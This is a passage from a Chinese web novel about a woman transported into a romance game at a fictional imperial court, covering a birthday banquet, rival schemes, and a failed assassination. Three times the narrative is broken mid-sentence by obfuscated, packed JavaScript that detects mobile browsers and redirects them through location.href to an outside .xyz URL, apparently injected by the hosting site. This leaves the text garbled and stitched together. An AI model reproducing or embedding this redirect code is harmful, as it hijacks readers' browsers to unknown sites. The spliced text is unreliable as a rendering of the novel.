“回郡主的话,民女名为曲昭盈,家父是鸿胪寺右少卿曲兰生,”曲昭盈依旧保持着行礼的姿势,头也不敢抬起来,说话的声音却清脆,“与太子殿下偶然在此相遇,殿下宅心仁厚,便与民女随便聊了几句。” 谢聿珩方才应过玉和一声之后,便没再看她,又侧过脸去盯着曲昭盈在看,瞧着她还傻乎乎地保持着行礼的姿态,嘴角都忍不住上扬了些,下意识伸出手去虚扶了她的胳膊一把,柔声道:“不必再行礼了。” 玉和见他这样,只觉得有一股子气血直冲脑门,想也不想便开口冲曲昭盈怒道:“究竟是谁给你的胆子?一个小小的四品官之女,竟然居心叵测在此勾引太子!” 谢聿珩脸色当即就变了,厉声道:“玉和!” 他是天生的好脾气,待人接物也从来都是一副翩翩君子的模样,此时却双眉紧皱,连说话的声音都带着几分怒意似的:“你再说一遍?” 谢聿珩面上鲜少有这般严肃的表情,更从未用这样的语气同玉和说过话,叫她一时间愣在原地,连心底都莫名有些犯怵,嘴巴一张一合了三遍,却连半个字都吐不出来。 “你太过失礼了,”谢聿珩终于将黏在曲昭盈身上的视线落在玉和的身上,口中吐出的话却不是玉和想象中的柔声细语,“向曲姑娘道歉。” 这回轮到曲昭盈犯怵了。 开什么玩笑?她何德何能,敢指望玉和郡主这个原作里谢聿珩最疯狂的迷妹来向自己道歉?这玉和郡主原本就是攻略谢聿珩路上最大的麻烦之一,她躲还来不及,哪有上赶着和人家结梁子的道理?是以曲昭盈听到谢聿珩说这话,赶忙摆手道:“殿下言重了!郡主并未曾冒犯过我!” 说罢她也顾不得什么礼数什么君君臣臣的道理,接了句:“民女想起来还与别人有约,对不起二位,恕我失礼了。” 她也不等面前这二人回话,转身逃命似的就离开了这是非之地,留的谢聿珩站在原地,看着她消失在梨花雪中的背影,轻叹了一口气。 “玉和。” 谢聿珩低声叫了她的名字。 他的声音好似凝着三尺厚的寒冰,叫人听得不寒而栗,就连平日里骄横惯了的玉和都下意识站直了身子,应了声“是。” 谢聿珩却不看她,一双眼仍盯着曲昭盈方才消失的方向,一字一句地对她道:“你别去招惹她。” “我只说这一次。” 他似乎不想再与玉和多说什么废话,简短地说完这两句话后便丢下她径直离去,玉和看到他走了,这才回过神来,觉得脸上火辣辣的,好似被人当众扇了几个巴掌。 凭什么?! 她怒道。 她堂堂一个高贵的郡主,凭什么要给一个什么都不是的狐狸精低头?太子哥哥又怎么能对自己说出这样的话来?! 从来没有人敢这样待她! 玉和只觉得今日受了奇耻大辱,她恨曲昭盈这个狐媚子勾了谢聿珩的魂,才叫她温润如玉的太子哥哥说出这样伤人心的话来!若非今日她来得及时,只怕那姓曲的早就爬上了太子哥哥的床! 她越想越觉得自己这观点有道理,越想就越恨,只在心中默念道:“曲昭盈,总有一日我定要叫你好看!” 谢聿珩却不知自己这一番话起了反效果——他追着曲昭盈的脚步而去,但全然找不见她的踪影,那姑娘像只受了惊的兔子似的,仿佛只要找到一点机会,就要想尽办法地从自己的身边逃开,叫自己怎么追都追不到。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907581|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >却很是可爱。 他正想得出神,远处忽然有个金蓝色丝线缠绕的手鞠球骨碌着滚到了他的脚边,身后的宫人当即弯腰去将那手鞠拾了起来,谢聿珩往那小玩意上扫了一眼,便瞧见上头用桃色丝线勾出的莲花纹样,又在上头挂了铃铛与流苏,一动起来便叮铃作响,像是哪位闺秀的小玩具。 果不其然,下一刻便有个碧色襦裙的姑娘小跑而来,她模样生的俏,一身碧色在春光中好似初生新芽的莲,格外地招惹人的眼睛。 她一双眼睛四处看着,好似在找寻什么东西,显然就是方才那个手鞠球的主人,谢聿珩冲身旁的宫人抬了抬下巴,那宫人便走上前去,用双手将那手鞠球奉上,道:“小姐可是在找这个。” 那姑娘眼睛一亮,点了点头正要把东西拿回去,却又好似突然才看见谢聿珩站在不远处似的,面色当即变了变,端端正正地作揖道:“民女见过太子殿下,殿下千岁。” 谢聿珩嘴上说了句“免礼”,心里却想到方才曲昭盈和自己说的话。 她问自己有没有遇见她姐姐。 这不就遇见了吗?倒像是她会预知未来似的了。 曲思盈偷偷抬起眼来看了谢聿珩一眼。 与那日远远地看上一眼不同,如今他这样近的站在眼前,她便能清楚地看见他绝世的容貌与谪仙一般的气度,朝思暮想的爱慕对象变成了活生生的人站在眼前,曲思盈紧张激动地整个心都快要从胸腔里跳出来,连脸都好似火烧一样的红,却又要强迫自己冷静下来,按照原来的剧情去念台词。 她问他:“太子殿下近来身体可好些了?” 谢聿珩点了点头,应道:“多谢曲姑娘关心。” 曲思盈有些意外:“殿下认得我?” 她说这话的时候,枝头的海棠花正不厌其烦地一瓣瓣飞舞下来,好似老天有意要叫这落不完的红雨给她做配,叫她看上去像是一朵怒放的荷花,美的叫人要挪不开眼。 谢聿珩低头看着她,却想起坐在梨花亭下的那个曲姑娘,想到她佯装镇定、却恨不得早些逃走的模样,忍不住弯起嘴角来笑了笑,又见曲思盈正眼巴巴地等着自己答话,这才敷衍似的应了句:“才貌双绝的曲大小姐,京城无人不知,无人不晓。” 他的声音干净又冷冽,却听得曲思盈几乎整个人要灼烧起来,说话的声音也带了些难以觉察的颤抖:“能叫殿下记得民女,属实是民女的荣幸。” 她扬起一个明媚的笑来:“看来我今日运气实在是很好,等会儿与她们再玩手鞠时定然要拿头彩了。” 谢聿珩却是对她赢不赢的没有什么兴趣,随意又与她说了两句话便离开了,一直到瞧不见他的身影了,曲思盈才抬起手来用手背去冰一冰自己早已红的发烫的脸颊。 太好了! 曲思盈想。 这次的剧情终于没有出现任何意外,顺利地完成了她和谢聿珩的初遇,两人也一字不落地说完了游戏里的台词! 支开曲昭盈果然是对的。 14.第十四章 待到正午,玉和郡主的生辰宴终于正式开席。 作为当朝最受宠爱的郡主,玉和这生辰宴办的确实是风光,肃王不仅是借来了曲江园开宴这样简单,朝中有头有脸的人物都叫他请来了,皇帝虽然没有亲自到场,却也专程送了贺礼来,是一块有鸡蛋大小的红宝石,据说宫中的娘娘都难得一颗,玉和一打开那盒子,就笑的连嘴都要合不拢,恨不得立刻就进宫去找皇帝谢恩。 至于肃王妃还请来了如今最有名的几个戏班子,在搭起来的戏台上轮番演出,都已经是最无关紧要的添头了。 曲昭盈直到开席了才姗姗来迟,她生怕又撞见不该遇见的人,和莲心找了个偏僻的地方,一直躲到开宴才终于肯出来,莲心看她这模样着实奇怪,忍不住就问她:“小姐,你今日好生奇怪,到底在躲什么?” 哪有谁家小姐来赴宴,不去社交、不和人打招呼,自己找个地方躲着不见人的道理?倒像是得罪了人不敢见似的! 曲昭盈带着攻略任务来这游戏里,人生地不熟也就算了,原作剧情里给她安排的几位“闺中密友”也不过是些非常平面刻板印象的反派角色,曲昭盈穿过来了之后几乎和她们断了联,不再有什么来往,自然也就没了什么可以社交的朋友。 她自己也不打算在这里常住,只想着完成任务早点回家,有没有朋友对她来说自然也不是什么要紧事,只是这些事曲昭盈又不好和她解释那么多,只能含糊地应付她几句,莲心见她实在不愿意多讲,也就只好作罢了。 到底人家才是小姐,她只是个婢女,小姐做了什么决定她听就是了。 虽然曲昭盈到的晚,却也没什么人在意她,今日宴席也出自名厨之手,又有名家在台上唱曲儿,来赴宴的人又都是些有头有脸的人物,是以宴中的人看戏的看戏、尝菜的尝菜,她一个小小的四品官女儿,倒确实没什么值得叫人注意的。 好在曲思盈先一步入席,已经给她留好了位置,瞧见曲昭盈来了,便立刻招手叫她过来。 曲昭盈才坐下,正要开口问一问曲思盈是否顺利触发剧情,就见曲思盈已经迫不及待地凑过身来,在她耳边小声激动道:“我不行了,谢聿珩真的太帅了!” 她眉飞色舞,眼睛里似乎闪着光似的熠熠生辉,说话的语调里更是抑制不住的欢快,若不是周遭还有旁人,只怕她就要大声尖叫出来:“我感觉再跟他多说两句话我就要晕了。” “而且他身上真的好香啊!光闻到他的香味我就醉了!” “这么帅的人以后竟然会是我老公!天呐我简直是世界上最幸福的人。” 曲昭盈瞧她这副模样,便明白她已经顺利地触发了谢聿珩的剧情,这才总算松了一口气——还好自己与谢聿珩方才的相遇没有节外生枝,没有害得曲思盈失去和谢聿珩相遇的机会,否则她真的要自责死了! 她二人其乐融融的聊着天,却是谁都没注意到远处的赵怀珏此时正目不转睛地盯着曲昭盈在看。 他桌前堆着精致的菜肴与名贵的酒水,他却只拿着筷子随意翻了翻,半点要吃的意思都没有,眼瞧着曲昭盈和她那姐姐说笑,怎么看怎么觉得烦心。 坐在他身旁的秦景和终于觉察他的异样:“你在看什么?” 他顺着赵怀珏的视线看过去,穿过戏台上的人群,穿过姹紫嫣红的盆景,终于看见了在与曲大小姐说悄悄话的曲昭盈。 秦景和说不清心里是个什么感觉,又想起自己方才将人堵在路上问话的无耻模样,只觉得好似有什么东西堵在胸口一般憋闷,赵怀珏哪知道他心中所想,嘟囔着说了句:“她还说不是为了勾引我?京中闺秀谁不知道我喜欢姑娘穿粉色。” 其实他这样说倒也没错,毕竟原作里头曲昭盈确实倾慕于他,此次曲江宴上也的确故意穿了粉色来吸引他的注意,秦景和却不置可否,下意识为她辩驳道:“今日穿粉色的闺秀多了去了,难道各个都喜欢你?” “哎,你不懂,我叫这些姑娘诓得多了,对于她们的手段实在是太过了解,”赵怀珏抬手招来自己的侍从,在他耳边说了几句话后,那侍从便点了点头转身离去,赵怀珏这才满意似的笑道,“你且瞧着吧。” “你叫他作甚去?” “我叫他去跟那故作清高的曲昭盈说一声,”赵怀珏冷哼一声,“说宴后我会在杏园等她。” 秦景和心中当即“咯噔”一下,道:“你这般胡闹做什么?” 他似乎有些着急了,厉声道:“她若真的赴约,你又能怎么样?” 赵怀珏理所当然道:“闹了怎么了?我就是瞧不惯她不成吗?” “不过捉弄她一下罢了,我还能做什么?”他瞧着秦景和的脸,将手里的筷子往桌上一扔,冷笑道,“我一向都这样,怎么你今日突然瞧不惯了?难不成你还心疼起她来了?” “人家到底是个姑娘,”秦景和对他的问题避而不答,转而说了句,“你闹得太过火,将来她要如何见人?” “闹得她名声不好,不是害了人家姑娘一辈子?” 赵怀珏显然不在乎那些,哼了一声道:“我又没拿刀架她脖子上逼她去杏园,她若真像她自己说的那样清高不理我,我又能闹出什么幺蛾子来?” 秦景和不再说话,只侧过脸去看远处的曲昭盈,他看见赵怀珏的侍从匆匆地走到曲昭盈的身后,弯下腰去向她说了句什么,那姑娘当即抬起头来往赵怀珏的方向看了一眼。 离得太远,他看不太清楚那姑娘脸上的表情,看不清她究竟是惊还是喜,只能怀着一颗焦急的心看着赵怀珏的侍从又踏着小碎步跑回来,看到他走到赵怀珏的身后,弯下腰来,用有些为难的表情低声道:“爷,那小姐说……” 赵怀珏眉毛一挑:“她说什么?” “她……她说请世子爷自重。” 赵怀珏面色当即绿的好似个青皮鸭蛋,秦景和却是听得忍俊不禁,道:“还说不是你自作多情?” “说了你不懂,她不过是在故作清高罢了!”赵怀珏挂不住脸,怒气冲冲地道:“你不信,我找谢聿珩评理去!” 他们二人都给谢聿珩做过伴读,算是一起长大的异姓兄弟,自然尽可由着他这般没大没小,只是他还未来得及起身,就瞧见坐在他对面的谢聿珩正在与一位蓄着山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926553|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羊胡的中年人说话,赵怀珏眉头一皱,问秦景和:“硕亲王不是一向和他不对付吗?今日真是奇了,怎么这俩人突然其乐融融起来了?” 秦景和往谢聿珩的方向看了一眼,却又瞧见个人从不远处走来,当即一挑眉,对赵怀珏道:“更不对付的来了。” 赵怀珏一抬眼,就看见有个穿玄色蟒袍的少年人穿过人群,大步走到主宾位前,在玉和郡主的身旁坐了下来——不是谢懿玄又是谁? 也不知是谁惹了这位六皇子不痛快,他坐下后既不吃酒,也不夹菜,反倒是面色不善地冲玉和嘀咕道:“你怎么什么阿猫阿狗都请到宴上来?” 玉和今日被谢聿珩冷脸相待,此时正也心情不爽,陡然叫谢懿玄这样一问,更是气不打一处来,怒道:“你对谁有意见就冲我爹娘去说,又不是我请的人!” 纵使她的脾气向来骄纵,却也鲜少这样直白地向谢懿玄发过火,这一闹倒叫谢懿玄新鲜,不免觉得好奇起来,问她:“怎么这样大的火气,谁惹你了?” 玉和本就一肚子委屈无处去说,谢懿玄一问,她就扁起嘴来、倒豆子似的将今日的事添油加醋地说了,谢懿玄听得眉头皱起,道:“怎么又是这曲昭盈?” “你也认得她?” “何止认得,”谢懿玄冷笑一声,“若不是她,宫中又岂会凭空多出个贵人来,害我母妃伤心!” 近些日子皇帝宠幸一个侍女,还给封了贵人的事情早已传入玉和的耳朵里,听说那贵人手段了得,三言两语就将皇帝迷了去,叫她那做贵妃的姨母近些日子气得发了病,她娘亲连着进宫几趟,才总算是将人给哄好了。 玉和不禁好奇道:“这又是怎么回事?” 谢懿玄那日被谢聿珩训过,自觉丢人,并不肯将这事重提一遍,只囫囵地讲了讲曲昭盈多管闲事、以下犯上才造就了如今局面的因果,他知晓玉和爱慕谢聿珩许久,故意提起谢聿珩帮曲昭盈出头的事,果真听得玉和面色铁青,心中更是认定这曲昭盈是个祸水了。 “那你方才说得阿猫阿狗是——” “就是那姓曲的呗。” 见玉和果真生气起来,谢懿玄便煽风点火似的道:“这你还能忍的下去?还不赶紧把她赶出去!” 一说到此,玉和的气焰却又灭了下去:“今日太子哥哥才叮嘱我,叫我莫要招惹那狐狸精。” “我若光明正大地赶走她,岂不是惹太子哥哥不快?倒是她再借题发挥,叫太子哥哥上演一出英雄救美的好戏,白白叫他们二人又黏到一起去!” 她气的几乎要捏断手里的筷子:“我才不要!” 谢懿玄见撺掇她不成,又凑过来在她耳边道:“那这样。” 也不知他叽里咕噜说了些什么,听得玉和面上的阴霾一扫而空,顿时间明媚了起来,却又还要不确定似的问一句:“这是否太过分了?” 谢懿玄却反问她:“若不这样,你又如何能解气?” 玉和没应他的话,而是抬头看了一眼坐在远处、被人群挡住了的曲昭盈,终于咯咯地笑了起来。 “是了,不这样我才不会解气!” 15.第十五章 曲昭盈实在是不知晓赵怀珏究竟搭错了哪根筋,三番四次要来找自己的麻烦,还莫名其妙地要约自己私会——开什么玩笑,她要真的去了,赵怀珏还不得把自己生吞活剥了? 倒是半点没想到那世子爷拿她寻玩笑的可能。 好在这次她回绝了来传话的侍卫之后,对方就没再有进一步的动作,直到宴席结束,赵怀珏也没再闹出什么事端来,竟是轻易地就放过她了。 曲昭盈惴惴不安地吃了一顿饭,好不容易熬到散场,终于能和曲思盈一起回家去,那颗悬在半空的心总算是落回肚子里去了。 只是没想到她和曲思盈才走出宫门,却发现有人正在宫门外等她们。 那人站在春日的阳光下,玉冠被金色的阳光镀上了一层鹅黄色,倒像是镶了玉一般名贵,那人穿了件鹅黄色云锦长衫,在人群中好似会发光似的。 正是谢聿珩其人。 他身旁有人正在与他攀谈,一瞧见曲昭盈姐妹二人出来,便向她们俩走了过来。 曲昭盈有些手足无措地看着他,不知道自己此时究竟该走还是该留,反倒是曲思盈老神在在,一副早就预料到此的模样。 这下曲昭盈才终于反应过来,谢聿珩会在此原来是进入了曲思盈的剧情。 “曲姑娘,”谢聿珩开口说话,却不知道他喊得到底是哪个曲姑娘,“方才我多有失礼,请让我送你回府。” “殿下何时有过失礼于我?”曲思盈笑了笑,“不必这样客气。” 原作里写谢聿珩在和曲思盈分开后,在宴席上总不自觉的想起那个在海棠花下的姑娘,便有种陌生的感觉自心底翻涌而出,方才那手鞠上的铃铛仿佛顺着风飘进了他的胸腔里,正一下又一下地响着清脆的铃声,无情地摇颤着他的心,叫他无暇去听旁人在说些什么,只想找机会再去见曲思盈一眼。 他难得失去冷静与自持,胡乱编造了一个理由,只为了与曲思盈多说上几句话,曲昭盈不知道这一段剧情,却是看见曲思盈和他搭话之后,狠狠地松了一口气。 哦,曲昭盈心里想,原来喊的是这个曲姑娘。 谢聿珩看了曲思盈一眼,又看了眼如释重负一般的曲昭盈,不知为何竟有些想笑。 他也不去解释自己这话究竟是说给谁听的,只一侧身,对她二人道:“曲姑娘,请。” 曲思盈不再推脱,点了点头跟在谢聿珩的身后往马车那处走去。 这路程算不得长,只有短短百十步,曲昭盈一言不发地跟在他们二人的身后,看着谢聿珩和曲思盈有一搭没一搭地说着话,心下无比轻快。 虽然过程有些曲折,但如今剧情总算回归正轨,谢聿珩没有再要与自己纠缠的意思,她当然心情大好,还要侧过脑袋去和卫沉说悄悄话:“你可有什么喜欢的植物?梅兰竹菊?” 卫沉一介粗人,哪来的闲情雅致去欣赏花草,曲昭盈过来问他,他便老实地答道:“没有。” 曲昭盈又问:“那你喜欢什么?” 卫沉这时才侧过头来看她。 他不知道这位小姐此时问自己喜欢什么究竟意欲何为,他原本想要说自己没有什么特别喜欢的东西,却在看见曲昭盈那双笑意盈盈的眼时哽住了。 那一双多情的眼里含着氤氲的水光,叫卫沉莫名地想起她给自己帕子那一晚的月亮。 那样亮,那样美,叫他心若战鼓在擂,又叫他自惭形秽。 “小的喜欢月亮。” 说罢他又多嘴问了句:“小姐问这个做什么?” 曲昭盈笑嘻嘻地道:“我前些日子出去时买了些材料回来,但是一直没时间做,这两日得了闲,我打算做个荷包给你。” 她这话说得轻巧,在卫沉听来却好似惊雷一般炸在心头——她这是什么意思?为何要突然做荷包给自己?她……她知不知道一个未出阁的姑娘给男人做荷包代表着什么? 他还未来得及出口问一句,马车却已经近在眼前,曲昭盈当即丢下他施施然上了车,叫他错失了开口问话的机会。 卫沉心中觉得有些怅然,只得往车后绕去,却不想一抬眼便对上了谢聿珩的视线——那京中以宽厚仁和出名的太子,此时正像在盯猎场上的猎物一般盯着自己。 他的脸上分明没有表情,卫沉却在那一瞬间觉得他宛若一个从地狱中爬出来的修罗恶鬼,浑身上下都冒着森然的鬼气,似乎只要自己一个不慎,他就会慢条斯理地将自己生吞活剥了。 可到底是为何? 他做了什么?这素未谋面的、高高在上的殿下为何这般憎恶自己? 没人给他答案。 但谢聿珩也不过只看了他一眼,便转身去骑自己的马,仿佛那一眼不过都是卫沉自己的错觉罢了。 谢聿珩说是送曲家小姐回府,却也仍旧守礼数,即便他贵为太子,也没有随着两位姑娘进到马车里去,依旧老老实实地骑着他来时骑的马,不远不近地走在二人的马车前头。 曲思盈顺利过了第二段剧情,心下正雀跃无比,对着身旁的曲昭盈道:“你别怪我没提前跟你通气儿,我怕你知道了又害我剧情进不成了。” “不要紧,”曲昭盈摇摇头,“本来我也害怕剧情再出什么问题,你能顺利进剧情再好不过了。” 见她不和自己计较,曲思盈当即扯出个笑脸来,乐呵呵地凑到她身边来讲话,又问了几句她与卫沉相处的情况,听到曲昭盈打算给卫沉做荷包时,当即竖了个大拇指道:“做得好!” “你无师自通啊,这个送荷包的剧情还真就是原本游戏里就有的。” “按照你这个攻略进度,很快就能拿下卫沉了!” 她二人正聊得热切,马车忽然停了下来,接着就是外头的车夫声传来:“小姐,到了。” 曲昭盈掀开窗帘,果真见曲府已在眼前了。 太子的忽然到来叫曲府上下乱作一团,曲兰生原本还在鸿胪寺当值,一听此事便急急忙忙地赶回府来,连衣裳都来不及换,只为了来迎接这位尊贵的殿下。 曲思盈从车上下来,落落大方地对谢聿珩道:“谢殿下护送。” 她看了一眼整整齐齐向谢聿珩行礼的曲家人,又转过头来接口说道:“殿下若不介意,请进来喝杯茶再走吧,也算是小女报答殿下护送之恩。” 三言两语之间就把谢聿珩与自己绑在了一起,曲兰生与曲夫人心下皆是一惊,竟不知道自己这个女儿哪来的这样大的本事,能请得动太子亲自护送? 莫不是……他们二人面面相觑,嘴上没说什么,心中却想着,难道他们曲家要出个娘娘了不成? 谢聿珩只是淡淡说了句“不必”,之后便转过眼去看磨磨蹭蹭地从车上下来的曲昭盈,开口道:“曲二小姐。” 曲昭盈忽然被点名,还未来得及做出什么反应,就听得谢聿珩说:“还请借一步说话。” 这一句话叫在场众人的目光瞬间汇聚在曲昭盈的身上,曲昭盈只觉得那些目光好像从四面八方射来的箭,几乎要将她整个人 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谢聿珩第一次见她这样恼怒的模样,非但不觉得她失礼,还觉得她这副模样娇嗔的可爱,又怕自己逼得太紧,真的把她吓到不肯和自己再有联系,这才又摆出副正经的模样,将自己悬在腰间的玉佩取了下来递给她。 那是个通透水润的喜鹊折梅纹环形玉佩,下坠青色流苏穗,哪怕是曲昭盈这个外行人都能瞧出来这玉佩的名贵,正是谢聿珩的贴身之物。 “我是想给姑娘这个,等你想见丽贵人时便差人把这个送到东宫来,我自会替你们安排。”谢聿珩说罢,还要调侃一句道,“姑娘总不愿意叫别人看见你收了我玉佩不是?” 曲昭盈被他一句话噎得无话可说,又觉得自己方才那模样实在失态,羞愧地伸手去把那玉佩接了,蚊子叫似的哼了句:“民女礼数不佳,让殿下见笑了。” 谢聿珩只是笑了笑,还未来的及接话,忽然见得拐角的巷子里突然有个黑影冲了出来,直勾勾地往曲昭盈地方向而去,有一点寒光在昏暗中一闪,看得谢聿珩心底一跳,连忙去拽了曲昭盈一把,反手就要去擒那歹徒。 他常年习武,要对付一个歹人自然不算难事,曲昭盈才反应过来自己被拉得一踉跄,那持刀的歹人就已经被谢聿珩单手按在了身下,他的侍卫更是在霎时间一拥而上,将那人死死按在了地上。 一切都发生在电光火石之间,以至于曲府的人都未反应过来发生了什么事,看到人已经被擒了,又一时间乱作一团,慌忙冲上来问太子的安危。 谢聿珩的袖口叫那人的刀划了个口子,有血珠从他藏在长袖下的手里滴落下来,曲兰生吓得一张脸变得煞白,连忙跪下请罪,整个曲府上下随着他一起哗啦啦地跪了一片,曲昭盈自然也不能避免。 “曲大人何罪之有?起来吧。”谢聿珩一边出声去叫曲家人起来,一边将那只还在淌着血的手伸到曲昭盈的跟前去,笑着对她道,“劳烦曲姑娘替我包扎了。” 他分明受了伤,鲜血将他的袖口染成一片红,像是被碾烂的红梅黏在他的衣裳上,谢聿珩却连眉头都没皱一下,仿佛受伤的人不是他似的。 听到这话时,方才一直低着头的曲思盈心里忽然咯噔一下,有些不可思议的抬起头来看谢聿珩和曲昭盈。 这分明是游戏里谢聿珩好感度30%时会触发的剧情和对话! 为什么会跑到曲昭盈身上去?! 她做什么了? 16.第十六章 谢聿珩遇刺的消息有如闪电一般在宫中炸开了。 谢聿珩不是个普通的皇子,他是储君,是下一任的皇帝,代表着至高无上的皇权,光天化日之下被人行刺,与打皇家的脸面有何异?皇帝自然震怒异常,立刻下旨要将凶手缉拿归案,却又嫌这样的处罚仍旧不够,还要说太子身旁的侍卫全是废物,要一律全部处死。 皇后更是心急如焚,旁人消息传的不够详细,她恨不得亲自出宫去确认谢聿珩的伤势,又听说人是在曲兰生的府前出的事,当下更是怒不可遏,要人立即去将曲兰生一家人抓来问罪,问问他们究竟安的什么居心,竟然能让太子在他们跟前受了伤! 她还认定了此事必有人在背后指使,否则谁有那么大的胆子敢当街行刺太子?要求不论付出多少代价,也要叫那背后主使赔命! 这话她前脚才说完,后脚就随着春风飞出了宫外,呼啸着飞进了肃王府里头。 谢懿玄今日在宴席上吃多了酒,宴席还未结束就有些脚步虚浮的犯困,他怕回宫去被宁贵妃责怪,便索性躲进肃王府的客房里头睡觉。 虽说是客房,但这屋子几乎是专程为了谢懿玄一人专程准备的,从家具到装饰皆按着谢懿玄的喜好去装点,地上铺的虎皮甚至还是几年前肃王亲自为他猎的,装点的简直与这六皇子的宫殿无异,平日里也更是不准除了谢懿玄以外的人来住,足以见他与肃王一家人的亲密了。 他窗户未关紧,有阳光透过缝隙洋洋洒洒地落进屋里,在窗前的软榻上落下金色的投影,谢懿玄正阖眼睡在那软榻之上,过分纤长的睫毛被阳光晒得好似一直沉睡的蝴蝶,许是日头有些过分地刺眼,他眉头微皱、下意识抬起手去盖着眼睛,才翻了个身,房门忽然叫人“砰”地一声被人推开了。 “谢懿玄!”来人气喘吁吁,不知死活地高呼着谢懿玄的大名,在这肃王府中除了玉和之外,又有谁能有这样大的胆子? 谢懿玄从浅眠中被吵醒,面色不善地坐起身来,抖了抖自己睡皱了的袖子,皱眉道:“吵什么吵。” 玉和火急火燎地冲到他跟前来,急道:“太子哥哥受伤了!” 谢懿玄知道她一向喜欢谢聿珩,恨不得明日就逼能皇兄娶了她,以为她在为谢聿珩紧张,颇为不屑地眉毛一挑,冷笑道:“伤了又不是死了,这么慌张做什么。” “能不急吗!”玉和凑到他身旁来,生怕外头有人在听似的压低了声音紧张道,“刺伤太子哥哥的人是……” 谢懿玄的脸色终于变了变,低声骂了句:“废物东西。” 玉和见他这样,心下更是慌极了,桃花似的一张脸此时青的好似蟹壳,就连说起话来都结结巴巴:“怎、怎么办?如今该要怎么办?” 她虽然嚣张跋扈惯了,但如今伤的人非同小可,皇帝与皇后必定要怪罪,届时只怕连她爹娘都保不住她的命! 是以一听得这消息,她便二话不说急急忙忙冲来找谢懿玄:“方才我听说,皇帝陛下怒不可遏,要杀了太子所有的近身侍卫!” “皇后更是放出话来,说要彻查此事,誓要揪出幕后黑手来!”玉和到底年纪尚轻,更未曾经历过这样的大事,吓得几乎要发起抖来,“你说句话啊!” 她巴不得将自己摘个干净:“此事皆因你而起,你又要如何收场?!” 谢懿玄听罢,面上却半点惊慌的表情都没有,反而笑道:“这有什么可慌的?” “这不分明是件好事吗?” “好事?”玉和愣道,“这算什么好事?” 谢懿玄却懒得与她解释那么多。 原本他不过是安排了人要杀了曲昭盈那目中无人的小贱人,哪怕是杀不了,也要叫曲昭盈受点伤长长教训,顺便污蔑一下她的名声,却不想阴差阳错,这一刀捅到了太子的身上。 虽然他还不知道谢聿珩究竟伤势如何,但皇帝又管不得那么多,认定他的侍卫护主不利都要杀了,却对自己来说是个大好的机会——谢聿珩身边的人都是他与皇后亲自挑选的,他们对这太子忠心耿耿,只要谢聿珩一个眼神,就肯心甘情愿地为他去死,如今皇帝一句话就轻易将这一切都毁了,届时皇后与谢聿珩势必还要再挑选新的侍卫,他不就有机会安插自己的眼线进去了吗? 这难道还不算天大的好事? 玉和向来不懂他那些弯弯绕绕,见他只笑不说话,更是觉得心急如焚。 即便她喜欢谢聿珩多年,但此时也顾不得谢聿珩的安危死活,更害怕这事给自己惹祸上身:“你找的那人嘴巴到底严不严?” “我听说他叫太子哥哥的侍卫抓了,你快想办法去找人把他杀了,万一叫他把我供出来,几个脑袋都不够我掉的!” “怕什么,”谢懿玄轻哼一声,“早就给他喂了药,只怕谢聿珩还没来得及叫人问,他就已经暴毙了。” “真的?!”玉和眼睛当即亮了起来,高悬起来的心也终于落回肚子里去,这会儿才好奇道,“你上哪儿找的人?怎么肯乖乖听你话的?” “街上找的流寇,”谢懿玄打了个哈欠,又懒洋洋地躺回榻上去,“跟他说只要他干这一回,我就给他的妻儿一百两银子。” 玉和正想夸他一句聪明,却又好像想起什么似的急色道:“那他的妻女呢?万一她们说漏嘴怎么办?” “我是那么不谨慎的人吗?”谢懿玄在榻上翻了个身,懒洋洋地道,“早杀了。” 杀死几条无辜的人命叫他说的好像比随手捏死只虫子还要不值一提,玉和听他这样说,这才总算真的放下心去了。 许是今日出现的意外实在叫他心里高兴,谢懿玄此时显然心情不错,看玉和那副傻样也不觉得烦了,反而还好心地跟她解释道:“谢聿珩之前在病榻上缠绵几个月,皇后本就心有余悸,如今身子刚有起色就又受了伤,你叫她如何能不迁怒曲家?” “光是皇后的责问,就够曲昭盈喝一壶的了。” 这话说得玉和心花怒放,却又觉得这样的教训不够解气,她总盼着那狐狸精要惨一些、再惨一些,若是直接死了更好,是以当即又摆出张苦瓜脸道:“可若是皇后不计较了怎么办?” 她心里其实再清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952162|174338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,谢聿珩是皇后娘娘独子,是她心头唯一的宝贝,又怎么可能不追究曲家的过错?即便明面上放了曲昭盈一码,只怕心里也要记恨上她,显然不会叫这狐狸精好过。 谢懿玄听出她话里的试探,也听明白了她的言外之意,侧过头来笑道:“那不就得你自己想办法了?” 玉和眉头一皱,还没来得及说什么,就见谢懿玄一翻身从榻上坐了起来,神秘兮兮地凑到玉和身边来笑道:“你知不知道曲家姐妹俩盘了个店,正要寻思做什么生意呢。” 这话说得玉和眼睛一亮:“哦?” 